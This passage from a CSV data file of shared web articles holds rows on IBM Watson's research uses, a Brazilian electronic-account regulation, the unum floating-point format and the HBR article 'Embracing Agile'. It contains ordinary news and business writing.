word 'sleepy' in a document, it has to understand whether sleepiness is the cause, effect, side effect, or if it's what the drug is trying to stop or achieve,"" Welser said. That feature, which is part of the Watson Discovery Advisor, is now used by researchers in the pharmaceutical industry. That's not all that Watson's been taught. The cognitive power that goes into Watson has also given IBM a seat at the food safety and genomic research table. The company partnered with Mars Inc. last year to create a consortium that, in a bid to improve food safety, studies the fingerprints of bacteria, fungi and viruses and how they grow in different environments. Much of that research is being pioneered at Almaden. IBM has partnered with the Memorial Sloan Kettering Cancer Center to enable medical researchers to use Watson to get detailed diagnostics and treatment options based on the latest cancer research. In radiology, Watson can go through thousands of images to help doctors find MRI scans that are relevant to a diagnosis. Watson can even be found in recruitment and marketing tools, and dating apps. The artificial intelligence can trawl through social media accounts, analyze the language people use and determine their personality traits. To test its efficacy - and just for fun - researchers at Almaden have fed Watson scripts from the ""Star Wars"" movies to see if it can figure out the personality traits of characters. On the neuroticism scale, C-3PO ranks high, while Jedis tend to rank low. On the anxiety scale, C-3PO also comes in on top. When it comes to assertiveness, Yoda outranks everyone. ""It's about understanding people better at a deeper level,"" said Rama Akkiraju, an engineer at Almaden who works with the Watson group. ""So if I'm trying to sell you something, I could know ahead of time what kinds of things you're interested in, and I'd only offer you the things relevant to you."" Not bad for a computer. Except Watson isn't technically a computer, it's software. It helps to think of Watson as a collection of algorithms stored in the cloud that can do different things. They can be mixed and matched to solve a problem - like an army, in which every soldier has a different skill. It's in these armies of algorithms, powered by faster and more efficient chips, that IBM believes its future lies. The move hasn't been completely painless, though. IBM has spent the last decade going through job cuts and revenue dips. Today it employs 377,000 people around the world, down from nearly 450,000 in 2011. Last week it reported a sales drop for the 16th consecutive quarter to $18.7 billion. In an interview with Bloomberg, IBM's chief financial officer, Martin Schroeter, said its cognitive solutions business will have ""a fair bit of ramp in order to make them sizable and start to punch above their weight in terms of overall growth rate."" IBM also faces increasing competition in the cognitive computing space. Google, Apple and Facebook have all invested in artificial intelligence, with algorithms assisting users with search, image and face recognition, and voice recognition (Hello, Siri!).",en
1461596645,CONTENT SHARED,-7613994611628693820,5660542693104786364,-7492116888809801796,,,,HTML,http://www.valor.com.br/financas/4535213/cmn-regulamenta-abertura-de-conta-de-deposito-por-meio-eletronico,CMN regulamenta abertura de conta de depósito por meio eletrônico,"O Conselho Monetário Nacional (CMN) aprovou resolução que regulamenta a abertura de conta de depósitos por meio eletrônico. Segundo a chefe do Departamento de Regulação do Sistema Financeiro do Banco Central (BC), Silvia Marques, a norma representa uma iniciativa do Otimiza BC, programa que busca reduzir custos de observância.",pt
1461604982,CONTENT SHARED,8690601908689146128,-1032019229384696495,-7443478780140249581,,,,HTML,http://motherboard.vice.com/read/a-new-number-format-for-computers-could-nuke-approximation-errors-for-good,A New Number Format for Computers Could Nuke Approximation Errors for Good,"Even to the more mathematically challenged among us, it's a reasonably easy task to parse a number with a decimal point. I can give you, say, 33.333 and it doesn't take any special mental contortions for you to make sense of it (not saying that you , in particular, are mathematically challenged, but play along). So, that's 33 things and then .33 of another thing, which is almost a third of a 34th thing. Easy enough. Computers have a funny, uneasy relationship to decimal numbers, however. Whole numbers are easy because it's easy to represent a whole number in our base-10 counting system as a binary (base-2) number. With 32 bits, or 32 digits, we can represent a huge range of whole numbers (integers or ints, in computer science), all the way up to 2147483647. Usually, that's more than enough. The problem when we start adding fractional values is that we have to have a way of encoding where exactly within a string of digits a decimal point should be located. It changes number by number. In computing, a number with a decimal point and corresponding fractional value is represented by the floating-point data type (a float). For a 32 bit floating-point number, it turns out that we really only get 23 binary digits to represent the numerical content of a number, with the rest reserved for representing the position of the decimal point within the number (as an exponent, as in scientific notion). The problem is less so a relatively limited range of possible values than a fundamental limitation on precision. You can see this easily enough by taking some arbitrary large number and scooting around a decimal point within it. The larger the number gets-e.g. with more digits on the left side of the decimal point-the less binary real estate we have to represent its fractional value (the right side). John Gustafson, a computer scientist specializing high-performance computing and the namesake behind Gustafson's Law , has proposed a new solution to this seemingly unavoidable source of error (read: imprecision). He calls the new format ""unum,"" for universal number. The key difference is that a unum allows for the various ""fields"" within a binary floating-point number representation to expand and contract according to required precision. The exponential values required to scale most decimal numbers (that is, determine their decimal point locations) are usually a lot less what can be represented by five bits, as are allocated in a 32-bit float, but the current standard tries to prepare for the worst case. If the exponent field is able to shrink depending on need, that leaves more digits that can represent actual numerical content, which is good. Here is Avogadro's number, 6.022×10 23 , two ways: ""A unum has three additional fields that make the number self-descriptive,"" Gustafson explains in an interview with the ACM's Ubiquity magazine . ""The 'ubit' that marks whether a number is exact or in between exact values, the size of the exponent in bits, and the size of the fraction in bits. So not only does the binary point float, the number of significant digits also floats."" There's a further approximation problem in floating-point numbers that's probably a bit harder to see, but Gustafson gives a good example. Imagine that we have two numbers that are very close to each other: 1,000,000.7 and 1,000,000.6. Subtracting these two numbers gives us .000001, which would be represented in floating-point as a 1.000000 with an exponent of -6 (because we moved the point to the left six positions). The problem is that with 1.000000 it looks an awful lot like we have six digits of precision to the right of the 1 when we really don't have any idea what's in those digits notated as zeroes. They just appeared when we scooted the decimal point. In the original two numbers, that precision would be off somewhere to right of the 6 and 7 digits, which is uncharted territory. So what? The problem comes when we try to do a calculation with our new number. Like, if we add 1.0×10 -12 to it we get 1.000 001×10 -6 . Which seems right (that is, adding .000001 with .000000000001 and getting .000001000001), but no . Because we never had any actual information about what was to the right of the 1 in .000001. We just tricked the computer into thinking so. All we can safely do with the second, much smaller number is trash it. It's beyond our precision. This is the utility in having a field specifying whether or not our number is exact or if it's an approximation. If the computer knows it's exact, and those extra zeroes indeed mean zero and not don't-know , than we can do the calculation. If not, we can't. The Ubiquity interview is pretty deep, but worthwhile if you can stand more math and want to learn more about how computers (often poorly) represent information. The unum format, meanwhile, is finding some traction in the real world. ""I was just at the Supercomputing conference in Austin, TX, and I was amazed at the groundswell of interest and software efforts surrounding unum math,"" Gustafson said. ""The Python port is already done, and several groups are working on a C port. Because the Julia language is particularly good at adding new data types without sacrificing speed, several people jumped on making a port to Julia, including the MIT founders of that language. I learned of an effort to put unum math into Java and into D, the proposed successor to C++.""",en
1461608361,CONTENT SHARED,5238119115012015307,-3390049372067052505,6068971232842203123,,,,HTML,https://hbr.org/2016/05/embracing-agile,Embracing Agile,"Idea in Brief The Problem Agile methods such as scrum, kanban, and lean development are spreading beyond IT to other functions. Although some companies are scoring big improvements in productivity, speed to market, and customer and employee satisfaction, others are struggling. The Root Cause Leaders don't really understand agile. As a result, they unwittingly continue to employ conventional management practices that undermine agile projects. The Solution Learn the basics of agile. Understand the conditions in which it does or doesn't work. Start small and let it spread organically. Allow ""master"" teams to customize it. Employ agile at the top. Destroy the barriers to agile behaviors. Agile innovation methods have revolutionized information technology. Over the past 25 to 30 years they have greatly increased success rates in software development, improved quality and speed to market, and boosted the motivation and productivity of IT teams. Now agile methodologies-which involve new values, principles, practices, and benefits and are a radical alternative to command-and-control-style management-are spreading across a broad range of industries and functions and even into the C-suite. National Public Radio employs agile methods to create new programming. John Deere uses them to develop new machines, and Saab to produce new fighter jets. Intronis, a leader in cloud backup services, uses them in marketing. C.H. Robinson, a global third-party logistics provider, applies them in human resources. Mission Bell Winery uses them for everything from wine production to warehousing to running its senior leadership group. And GE relies on them to speed a much-publicized transition from 20th-century conglomerate to 21st-century ""digital industrial company."" By taking people out of their functional silos and putting them in self-managed and customer-focused multidisciplinary teams, the agile approach is not only accelerating profitable growth but also helping to create a new generation of skilled general managers. The spread of agile raises intriguing possibilities. What if a company could achieve positive returns with 50% more of its new-product introductions? What if marketing programs could generate 40% more customer inquiries? What if human resources could recruit 60% more of its highest-priority targets? What if twice as many workers were emotionally engaged in their jobs? Agile has brought these levels of improvement to IT. The opportunity in other parts of the company is substantial. But a serious impediment exists. When we ask executives what they know about agile, the response is usually an uneasy smile and a quip such as ""Just enough to be dangerous."" They may throw around agile-related terms (""sprints,"" ""time boxes"") and claim that their companies are becoming more and more nimble. But because they haven't gone through training, they don't really understand the approach. Consequently, they unwittingly continue to manage in ways that run counter to agile principles and practices, undermining the effectiveness of agile teams in units that report to them. These executives launch countless initiatives with urgent deadlines rather than assign the highest priority to two or three. They spread themselves and their best people across too many projects. They schedule frequent meetings with members of agile teams, forcing them to skip working sessions or send substitutes. Many of them become overly involved in the work of individual teams. They talk more than listen. They promote marginal ideas that a team has previously considered and back-burnered. They routinely overturn team decisions and add review layers and controls to ensure that mistakes aren't repeated. With the best of intentions, they erode the benefits that agile innovation can deliver. Further Reading Innovation Digital Article IT's most famous idea didn't start in IT. Innovation is what agile is all about. Although the method is less useful in routine operations and processes, these days most companies operate in highly dynamic environments. They need not just new products and services but also innovation in functional processes, particularly given the rapid spread of new software tools. Companies that create an environment in which agile flourishes find that teams can churn out innovations faster in both those categories. From our work advising and studying such companies, we have discerned six crucial practices that leaders should adopt if they want to capitalize on agile's potential. 1. Learn How Agile Really Works Some executives seem to associate agile with anarchy (everybody does what he or she wants to), whereas others take it to mean ""doing what I say, only faster."" But agile is neither. (See the sidebar ""Agile Values and Principles."") It comes in several varieties, which have much in common but emphasize slightly different things. They include scrum, which emphasizes creative and adaptive teamwork in solving complex problems; lean development, which focuses on the continual elimination of waste; and kanban, which concentrates on reducing lead times and the amount of work in process. One of us (Jeff Sutherland) helped develop the scrum methodology and was inspired to do so in part by ""The New New Product Development Game,"" a 1986 HBR article coauthored by another of us (Hirotaka Takeuchi). Because scrum and its derivatives are employed at least five times as often as the other techniques, we will use its methodologies to illustrate agile practices. There are at least a dozen agile innovation methodologies, which share values and principles but differ in their emphases. Experts often combine various approaches. Here are three of the most popular forms and the contexts in which each works best. Guiding Principles Empower creative, cross-functional teams Visualize workflows and limit work in process Eliminate waste from the system as a whole Favorable Conditions for Adoption Creative cultures with high levels of trust and collaboration, or Radical innovation teams that want to change their working environment Process-oriented cultures that prefer evolutionary improvements with few prescribed practices Process-oriented cultures that prefer evolutionary improvements with overarching values but no prescribed practices Prescribed Roles Initiative owners responsible for rank ordering team priorities and delivering value to customers and the business Process facilitators who guide the work process Small, cross-functional, innovation teams None None Prescribed Work Rules Five events: Sprint planning to prepare for the next round of work Fixed time sprints of consistent duration (1-4 weeks) to create a potentially releasable product increment Daily stand-ups of 15 minutes to review progress and surface impediments Sprint reviews that inspect the new working increment Sprint retrospectives for the team to inspect and improve itself Three deliverables (or ""artifacts""): Portfolio backlog, a fluid and rank-ordered list of potential innovation features Sprint backlog, the subset of portfolio backlog items selected for completion in the next sprint Releasable working increments Start with what you do now Visualize workflows and stages Limit the work in process at each development stage Measure and improve cycle times None Approach to Cultural Change Quickly adopt minimally prescribed practices, even if they differ substantially from those in the rest of the organization Master prescribed practices and then adapt them through experimentation Respect current structures and processes Increase visibility into workflows Encourage gradual, collaborative changes Respect current structures and processes Stress agile values throughout the organization while minimizing organizational resistance Advantages Facilitates radical breakthroughs while (unlike skunkworks) retaining the benefits of operating as part of the parent organization Delivers the most valuable innovations earliest Rapidly increases team happiness Builds general management skills Avoids clashes with the parent organization's culture Maximizes the contributions of team members through flexible team structures and work cycles Facilitates rapid responses to urgent issues through flexible work cycles Optimizes the system as a whole and engages the entire organization Provides the ultimate flexibility in customizing work practices Challenges Leaders may struggle to prioritize initiatives and relinquish control to self-managing teams New matrix-management skills are required to coordinate dozens or hundreds of multi-disciplinary teams Fixed iteration times may not be suitable for some problems (especially those that arise on a daily basis) Some team members may be underutilized in certain sprint cycles Practitioners must figure out how best to apply most agile values and principles Wide variation in practices can complicate the prioritization of initiatives and coordination among teams When initiatives don't succeed, it can be hard to determine whether teams selected the wrong tools or used the right tools in the wrong ways Novices trying to change behaviors may find the lack of prescriptive methodologies frustrating Evolutionary improvements can make radical breakthroughs less likely and major improvements less rapid Leaders need to make the grind of continuously eliminating waste feel inspirational and fun Source Darrell K. Rigby, Jeff Sutherland, and Hirotaka Takeuchi From ""Embracing Agile,"" April 2016 The fundamentals of scrum are relatively simple. To tackle an opportunity, the organization forms and empowers a small team, usually three to nine people, most of whom are assigned full-time. The team is cross-functional and includes all the skills necessary to complete its tasks. It manages itself and is strictly accountable for every aspect of the work. The team's ""initiative owner"" (also known as a product owner) is ultimately responsible for delivering value to customers (including internal customers and future users) and to the business. The person in this role usually comes from a business function and divides his or her time between working with the team and coordinating with key stakeholders: customers, senior executives, and business managers. The initiative owner may use a technique such as design thinking or crowdsourcing to build a comprehensive ""portfolio backlog"" of promising opportunities. Then he or she continually and ruthlessly rank-orders that list according to the latest estimates of value to internal or external customers and to the company. The initiative owner doesn't tell the team who should do what or how long tasks will take. Rather, the team creates a simple road map and plans in detail only those activities that won't change before execution. Its members break the highest-ranked tasks into small modules, decide how much work the team will take on and how to accomplish it, develop a clear definition of ""done,"" and then start building working versions of the product in short cycles (less than a month) known as sprints. A process facilitator (often a trained scrum master) guides the process. This person protects the team from distractions and helps it put its collective intelligence to work. The process is transparent to everyone. Team members hold brief daily ""stand-up"" meetings to review progress and identify roadblocks. They resolve disagreements through experimentation and feedback rather than endless debates or appeals to authority. They test small working prototypes of part or all of the offering with a few customers for short periods of time. If customers get excited, a prototype may be released immediately, even if some senior executive isn't a fan, or others think it needs more bells and whistles. The team then brainstorms ways to improve future cycles and prepares to attack the next top priority. In 2001, 17 rebellious software developers (including Jeff Sutherland) met in Snowbird, Utah, to share ideas for improving traditional ""waterfall"" development, in which detailed requirements and execution plans are created up front and then passed sequentially from function to function. This approach worked fine in stable environments, but not when software markets began to change rapidly and unpredictably. In that scenario, product specifications were outdated by the time the software was delivered to customers, and developers felt oppressed by bureaucratic procedures. The rebels proposed four new values for developing software, described principles to guide adherence to those values, and dubbed their call to arms ""The Agile Manifesto."" To this day, development frameworks that follow these values and principles are known as agile techniques. Here is an adapted version of the manifesto: People Over Processes and Tools Projects should be built around motivated individuals who are given the support they need and trusted to get the job done. Teams should abandon the assembly-line mentality in favor of a fun, creative environment for problem solving, and should maintain a sustainable pace. Employees should talk face-to-face and suggest ways to improve their work environment. Management should remove impediments to easier, more fruitful collaboration. Working Prototypes Over Excessive Documentation Innovators who can see their results in real market conditions will learn faster, be happier, stay longer, and do more-valuable work. Teams should experiment on small parts of the product with a few customers for short periods, and if customers like them, keep them. If customers don't like them, teams should figure out fixes or move on to the next thing. Team members should resolve arguments with experiments rather than endless debates or appeals to authority. Respond to Change Rather Than Follow a Plan Most detailed predictions and plans of conventional project management are a waste of time and money. Although teams should create a vision and plan, they should plan only those tasks that won't have changed by the time they get to them. And people should be happy to learn things that alter their direction, even late in the development process. That will put them closer to the customer and make for better results. Customer Collaboration Over Rigid Contracts Time to market and cost are paramount, and specifications should evolve throughout the project, because customers can seldom predict what they will actually want. Rapid prototyping, frequent market tests, and constant collaboration keep work focused on what they will ultimately value. Compared with traditional management approaches, agile offers a number of major benefits, all of which have been studied and documented. It increases team productivity and employee satisfaction. It minimizes the waste inherent in redundant meetings, repetitive planning, excessive documentation, quality defects, and low-value product features. By improving visibility and continually adapting to customers' changing priorities, agile improves customer engagement and satisfaction, brings the most valuable products and features to market faster and more predictably, and reduces risk. By engaging team members from multiple disciplines as collaborative peers, it broadens organizational experience and builds mutual trust and respect. Finally, by dramatically reducing the time squandered on micromanaging functional projects, it allows senior managers to devote themselves more fully to higher-value work that only they can do: creating and adjusting the corporate vision; prioritizing strategic initiatives; simplifying and focusing work; assigning the right people to tasks; increasing cross-functional collaboration; and removing impediments to progress. 2. Understand Where Agile Does or Does Not Work Agile is not a panacea. It is most effective and easiest to implement under conditions commonly found in software innovation: The problem to be solved is complex; solutions are initially unknown, and product requirements will most likely change; the work can be modularized; close collaboration with end users (and rapid feedback from them) is feasible; and creative teams will typically outperform command-and-control groups. In our experience, these conditions exist for many product development functions, marketing projects, strategic-planning activities, supply-chain challenges, and resource allocation decisions. They are less common in routine operations such as plant maintenance, purchasing, sales calls, and accounting. And because agile requires training, behaviorial change, and often new information technologies, executives must decide whether the anticipated payoffs will justify the effort and expense of a transition. Conditions Favorable Unfavorable Market Environment Customer preferences and solution options change frequently. Market conditions are stable and predictable. Customer Involvement Close collaboration and rapid feedback are feasible. Customers know better what they want as the process progresses. Requirements are clear at the outset and will remain stable. Customers are unavailable for constant collaboration. Innovation Type Problems are complex, solutions are unknown, and the scope isn't clearly defined. Product specifications may change. Creative breakthroughs and time to market are important. Cross-functional collaboration is vital. Similar work has been done before, and innovators believe the solutions are clear. Detailed specifications and work plans can be forecast with confidence and should be adhered to. Problems can be solved sequentially in functional silos. Modularity of Work Incremental developments have value, and customers can use them. Work can be broken into parts and conducted in rapid, iterative cycles. Late changes are manageable. Customers cannot start testing parts of the product until everything is complete. Late changes are expensive or impossible. Impact of Interim Mistakes They provide valuable learning. They may be catastrophic. Agile innovation also depends on having a cadre of eager participants. One of its core principles is ""Build projects around motivated individuals. Give them the environment and support they need, and trust them to get the job done."" When the majority of a company, a function, or a team chooses to adopt agile methodologies, leaders may need to press the holdouts to follow suit or even replace them. But it's better to enlist passionate volunteers than to coerce resisters. OpenView Venture Partners, a firm that has invested in about 30 companies, took this path. Having learned about agile from some of the companies in its portfolio, Scott Maxwell, the firm's founder, began using its methodologies at the firm itself. He found that they fit some activities more easily than others. Agile worked well for strategic planning and marketing, for instance, where complex problems can often be broken into modules and cracked by creative multidisciplinary teams. That wasn't the case for selling: Any sales call can change a representative's to-do list on the spot, and it would be too complicated and time-consuming to reassemble the sales team, change the portfolio backlog, and reassign accounts every hour. Maxwell provided the companies in OpenView's portfolio with training in agile principles and practices and let them decide whether to adopt the approach. Some of them immediately loved the idea of implementing it; others had different priorities and decided to hold off. Intronis was one fan. Its marketing unit at the time relied on an annual plan that focused primarily on trade shows. Its sales department complained that marketing was too conservative and not delivering results. So the company hired Richard Delahaye, a web developer turned marketer, to implement agile. Under his guidance the marketing team learned, for example, how to produce a topical webinar in a few days rather than several weeks. (A swiftly prepared session on CryptoLocker malware attracted 600 registrants-still a company record.) Team members today continue to create calendars and budgets for the digital marketing unit, but with far less line-item detail and greater flexibility for serendipitous developments. The sales team is much happier. 3. Start Small and Let the Word Spread Large companies typically launch change programs as massive efforts. But the most successful introductions of agile usually start small. They often begin in IT, where software developers are likely to be familiar with the principles. Then agile might spread to another function, with the original practitioners acting as coaches. Each success seems to create a group of passionate evangelists who can hardly wait to tell others in the organization how well agile works. The adoption and expansion of agile at John Deere, the farm equipment company, provides an example. George Tome, a software engineer who had become a project manager within Deere's corporate IT group, began applying agile principles in 2004 on a low-key basis. Gradually, over several years, software development units in other parts of Deere began using them as well. This growing interest made it easier to introduce the methodology to the company's business development and marketing organizations. In 2012 Tome was working as a manager in the Enterprise Advanced Marketing unit of the R&D group responsible for discovering technologies that could revolutionize Deere's offerings. Jason Brantley, the unit head, was concerned that traditional project management techniques were slowing innovation, and the two men decided to see whether agile could speed things up. Tome invited two other unit managers to agile training classes. But all the terminology and examples came from software, and to one of the managers, who had no software background, they sounded like gibberish. Tome realized that others would react the same way, so he tracked down an agile coach who knew how to work with people without a software background. In the past few years he and the coach have trained teams in all five of the R&D group's centers. Tome also began publishing weekly one-page articles about agile principles and practices, which were e-mailed to anyone interested and later posted on Deere's Yammer site. Hundreds of Deere employees joined the discussion group. ""I wanted to develop a knowledge base about agile that was specific to Deere so that anyone within the organization could understand it,"" Tome says. ""This would lay the foundation for moving agile into any part of the company."" Using agile techniques, Enterprise Advanced Marketing has significantly compressed innovation project cycle times-in some cases by more than 75%. One example is the development in about eight months of a working prototype of a new ""machine form"" that Deere has not yet disclosed. ""If everything went perfectly in a traditional process,"" Brantley says, ""it would be a year and a half at best, and it could be as much as two and a half or three years."" Agile generated other improvements as well. Team engagement and happiness in the unit quickly shot from the bottom third of companywide scores to the top third. Quality improved. Velocity (as measured by the amount of work accomplished in each sprint) increased, on average, by more than 200%; some teams achieved an increase of more than 400%, and one team soared 800%. Success like this attracts attention. Today, according to Tome, in almost every area at John Deere someone is either starting to use agile or thinking about how it could be used. 4. Allow ""Master"" Teams to Customize Their Practices Japanese martial arts students, especially those studying aikido, often learn a process called shu-ha-ri. In the shu state they study proven disciplines. Once they've mastered those, they enter the ha state, where they branch out and begin to modify traditional forms. Eventually they advance to ri, where they have so thoroughly absorbed the laws and principles that they are free to improvise as they choose. Mastering agile innovation is similar. Before beginning to modify or customize agile, a person or team will benefit from practicing the widely used methodologies that have delivered success in thousands of companies. For instance, it's wise to avoid beginning with part-time assignment to teams or with rotating membership. Empirical data shows that stable teams are 60% more productive and 60% more responsive to customer input than teams that rotate members. Further Reading Managing People Feature The Toyota principles can be applied in operations involving expertise. Over time, experienced practitioners should be permitted to customize agile practices. For example, one principle holds that teams should keep their progress and impediments constantly visible. Originally, the most popular way of doing this was by manually advancing colored sticky notes from the ""to-do"" column to ""doing"" to ""done"" on large whiteboards (known as kanban boards). Many teams are still devoted to this practice and enjoy having nonmembers visit their team rooms to view and discuss progress. But others are turning to software programs and computer screens to minimize input time and allow the information to be shared simultaneously in multiple locations. A key principle guides this type of improvisation: If a team wants to modify particular practices, it should experiment and track the results to make sure that the changes are improving rather than reducing customer satisfaction, work velocity, and team morale. Spotify, the music-streaming company, exemplifies an experienced adapter. Founded in 2006, the company was agile from birth, and its entire business model, from product development to marketing and general management, is geared to deliver better customer experiences through agile innovation. But senior leaders no longer dictate specific practices; on the contrary, they encourage experimentation and flexibility as long as changes are consistent with agile principles and can be shown to improve outcomes. As a result, practices vary across the company's 70 ""squads"" (Spotify's name for agile innovation teams) and its ""chapters"" (the company term for functional competencies such as user interface development and quality testing). Although nearly every squad consists of a small cross-functional team and uses some form of visual progress tracking, ranked priorities, adaptive planning, and brainstorming sessions on how to improve the work process, many teams omit the ""burndown"" charts (which show work performed and work remaining) that are a common feature of agile teams. Nor do they always measure velocity, keep progress reports, or employ the same techniques for estimating the time required for a given task. These squads have tested their modifications and found that they improve results. 5. Practice Agile at the Top Some C-suite activities are not suited to agile methodologies. (Routine and predictable tasks-such as performance assessments, press interviews, and visits to plants, customers, and suppliers-fall into this category.) But many, and arguably the most important, are. They include strategy development and resource allocation, cultivating breakthrough innovations, and improving organizational collaboration. Senior executives who come together as an agile team and learn to apply the discipline to these activities achieve far-reaching benefits. Their own productivity and morale improve. They speak the language of the teams they are empowering. They experience common challenges and learn how to overcome them. They recognize and stop behaviors that impede agile teams. They learn to simplify and focus work. Results improve, increasing confidence and engagement throughout the organization. A number of companies have reallocated 25% or more of selected leaders' time from functional silos to agile leadership teams. These teams rank-order enterprisewide portfolio backlogs, establish and coordinate agile teams elsewhere in the organization to address the highest priorities, and systematically eliminate barriers to their success. Here are three examples of C-suites that took up agile: 1. Catching up with the troops. Systematic, a 525-employee software company, began applying agile methodologies in 2005. As they spread to all its software development teams, Michael Holm, the company's CEO and cofounder, began to worry that his leadership team was hindering progress. ""I had this feeling that I was saying, 'Follow me-I'm just behind you,'"" he told us. ""The development teams were using scrum and were doing things differently, while the management team was stuck doing things the same old-fashioned way""-moving too slowly and relying on too many written reports that always seemed out-of-date. So in 2010 Holm decided to run his nine-member executive group as an agile team. The team reprioritized management activities, eliminating more than half of recurring reports and converting others to real-time systems while increasing attention to business-critical items such as sales proposals and customer satisfaction. The group started by meeting every Monday for an hour or two but found the pace of decision making too slow. So it began having daily 20-minute stand-ups at 8:40 am to discuss what members had done the day before, what they would do that day, and where they needed help. More recently the senior team began to use physical boards to track its own actions and the improvements coming from the business units. Other functions, including HR, legal, finance, and sales, now operate in much the same way. 2. Speeding a corporate transition. In 2015 General Electric rebranded itself as a ""digital industrial company,"" with a focus on digitally enabled products. Part of the transformation involved creating GE Digital, an organizational unit that includes all 20,000-plus of the company's software-related employees. Brad Surak, who began his career as a software engineer and is now GE Digital's COO, was intimately familiar with agile. He piloted scrum with the leadership team responsible for developing industrial internet applications and then, more recently, began applying it to the new unit's management processes, such as operating reviews. Surak is the initiative owner, and an engineering executive is the scrum master. Together they have prioritized backlog items for the executive team to address, including simplifying the administrative process that teams follow to acquire hardware and solving knotty pricing issues for products requiring input from multiple GE businesses. Agile Alliance: For guides to agile practices, links to ""The Agile Manifesto,"" and training videos Scrum Alliance: For a ""Scrum Guide,"" conference presentations and videos, and the ""State of Scrum"" research report ScrumLab Open: For training presentations, videos, webinars, and published papers Annual State of Agile Survey: For key statistics such as usage rates, customer benefits, barriers to adoption and success, and specific practices used The scrum team members run two-week sprints and conduct stand-up meetings three times a week. They chart their progress on a board in an open conference room where any employee can see it. Surak says, ""It takes the mystery out of what executives do every day. Our people want to know if we are in tune with what they care about as employees."" The team collects employee happiness surveys, conducts root cause analysis on the impediments to working more effectively, and reports back to people throughout the organization, saying (in effect), ""We heard you. Here is how we will improve things."" Surak believes that this shows the organization that ""executives work in the same ways as engineers,"" increasing employee motivation and commitment to agile practices. 3. Aligning departments and functions on a common vision. Erik Martella, the vice president and general manager of Mission Bell Winery, a production facility of Constellation Brands, introduced agile and helped it spread throughout the organization. Leaders of each department served as initiative owners on the various agile teams within their departments. Those individual teams achieved impressive results, but Martella worried that their time was being spread too thin and that department and enterprise priorities weren't always aligned. He decided to pull department leaders into an executive agile team focused on the enterprise initiatives that held the greatest value and the greatest opportunity for cross-functional collaboration, such as increasing process flows through the warehouse. The team is responsible for building and continually refining the backlog of enterprise priorities, ensuring that agile teams are working on the right problems and have sufficient resources. Team members also protect the organization from pet projects that don't deserve high priority. For instance, shortly after Martella started implementing agile, he received an e-mail from a superior in Constellation's corporate office suggesting that the winery explore a personal passion of the sender. Previously, Martella might have responded, ""OK, we'll jump right on it."" Instead, he replied that the winery was following agile principles: The idea would be added to the list of potential opportunities and prioritized. As it happened, the executive liked the approach-and when he was informed that his suggestion had been assigned a low priority, he readily accepted the decision. Working on agile teams can also help prepare functional managers-who rarely break out of their silos in today's overspecialized organizations-for general management roles. It exposes them to people in other disciplines, teaches collaborative practices, and underscores the importance of working closely with customers-all essential for future leaders. 6. Destroy the Barriers to Agile Behaviors Research by Scrum Alliance, an independent nonprofit with 400,000-plus members, has found that more than 70% of agile practitioners report tension between their teams and the rest of the organization. Little wonder: They are following different road maps and moving at different speeds. Here's a telling example: A large financial services company we examined launched a pilot to build its next mobile app using agile methodologies. Of course, the first step was to assemble a team. That required a budget request to authorize and fund the project. The request went into the batch of submissions vying for approval in the next annual planning process. After months of reviews, the company finally approved funding. The pilot produced an effective app that customers praised, and the team was proud of its work. But before the app was released, it had to pass vulnerability testing in a traditional ""waterfall"" process (a protracted sequence in which the computer code is tested for documentation, functionality, efficiency, and standardization), and the queue for the process was long. Then the app had to be integrated into core IT systems-which involved another waterfall process with a six-to-nine-month logjam. In the end, the total time to release improved very little. Further Reading Human resource management Magazine Article The Toyota story has been intensively researched and painstakingly documented, yet what really happens inside the company remains a mystery. Here's new insight into the unspoken rules that give Toyota its competitive edge. Here are some techniques for destroying such barriers to agile: Get everyone on the same page. Individual teams focusing on small parts of large, complex problems need to see, and work from, the same list of enterprise priorities-even if not all the teams responsible for those priorities are using agile processes. If a new mobile app is the top priority for software development, it must also be the top priority for budgeting, vulnerability testing, and software integration. Otherwise, agile innovations will struggle in implementation. This is a key responsibility of an executive team that itself practices agile. Don't change structures right away; change roles instead. Many executives assume that creating more cross-functional teams will necessitate major changes in organizational structure. That is rarely true. Highly empowered cross-functional teams do, by definition, need some form of matrix management, but that requires primarily that different disciplines learn how to work together simultaneously rather than separately and sequentially. Name only one boss for each decision. People can have multiple bosses, but decisions cannot. In an agile operating model it must be crystal clear who is responsible for commissioning a cross-functional team, selecting and replacing team members, appointing the team leader, and approving the team's decisions. An agile leadership team often authorizes a senior executive to identify the critical issues, design processes for addressing them, and appoint a single owner for each innovation initiative. Other senior leaders must avoid second-guessing or overturning the owner's decisions. It's fine to provide guidance and assistance, but if you don't like the results, change the initiative owner-don't incapacitate him or her. Focus on teams, not individuals. Studies by the MIT Center for Collective Intelligence and others show that although the intelligence of individuals affects team performance, the team's collective intelligence is even more important. It's also far easier to change. Agile teams use process facilitators to continually improve their collective intelligence-for example, by clarifying roles, teaching conflict resolution techniques, and ensuring that team members contribute equally. Shifting metrics from output and utilization rates (how busy people are) to business outcomes and team happiness (how valuable and engaged people are) also helps, as do recognition and reward systems that weight team results higher than individual efforts. Lead with questions, not orders. General George S. Patton Jr. famously advised leaders never to tell people how to do things: ""Tell them what to do, and they will surprise you with their ingenuity."" Rather than give orders, leaders in agile organizations learn to guide with questions, such as ""What do you recommend?"" and ""How could we test that?"" This management style helps functional experts grow into general managers, and it helps enterprise strategists and organizations evolve from silos battling for power and resources into collaborative cross-functional teams. Agile innovation has revolutionized the software industry, which has arguably undergone more rapid and profound change than any other area of business over the past 30 years. Now it is poised to transform nearly every other function in every industry. At this point, the greatest impediment is not the need for better methodologies, empirical evidence of significant benefits, or proof that agile can work outside IT. It is the behavior of executives. Those who learn to lead agile's extension into a broader range of business activities will accelerate profitable growth. A version of this article appeared in the May 2016 issue (pp.40-48, 50) of Harvard Business Review .",en
